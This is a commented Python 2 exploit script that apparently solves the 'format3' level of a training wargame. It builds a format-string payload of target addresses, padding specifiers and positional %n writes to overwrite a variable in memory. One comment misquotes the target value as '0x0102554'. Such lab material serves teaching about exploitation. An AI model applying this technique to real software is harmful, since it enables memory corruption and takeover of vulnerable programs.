#get the address of the target with objdump -t ./format3 | grep target
#result: 080496f4, this in little endian



#The method is in reference with the next page:http://jbremer.org/format-string-vulnerabilities/
#We want to write in two small int the higher and lower values in the respective address
#So, the first address (080496f4) will content the lower value. and the second address (080496f6) the higher
#To get the value it is simple, we want to introduce the next value in the hole target:0x0102554
#So, the lower value is in this case 0x5544 and the higher is 0x0102
#but, the higher value it is necessary a positive number so we adjust by adding 0x10000
#but if the number it is not necessary the sum of 0x10000, we adjust again.

#lower = int("0x5544", 16) #21828
#higher = int("0x0102", 16) #258
#newhigher = (higher - lower + 0x10000) & 0xffff #43966



#the lower value we must to quit the first 8 bits because it is the lenght of the two address.
#lower = lower - 8 #21820
#we add the % in the beginning and the letter c at the end because we need to add this size of 
#entrys, to write the correct number lower and higher.


slower = "%21820c"
shigher= "%43966c"
first_address = "\xf4\x96\x04\x08"
second_address = "\xf6\x96\x04\x08"


#We known the first parameter will content the first address
#We have to search by this first address to get the index of parameter to write with $n
#So we found the first_address is in the 12th parameter so the second_address will be in the 13th

first_parameter = "%12$n" #we write in the 12th parameter (the first_address)
second_parameter = "%13$n" #we write in the 13th parameter (the second_address)



print first_address + second_address + slower + first_parameter + shigher + second_parameter


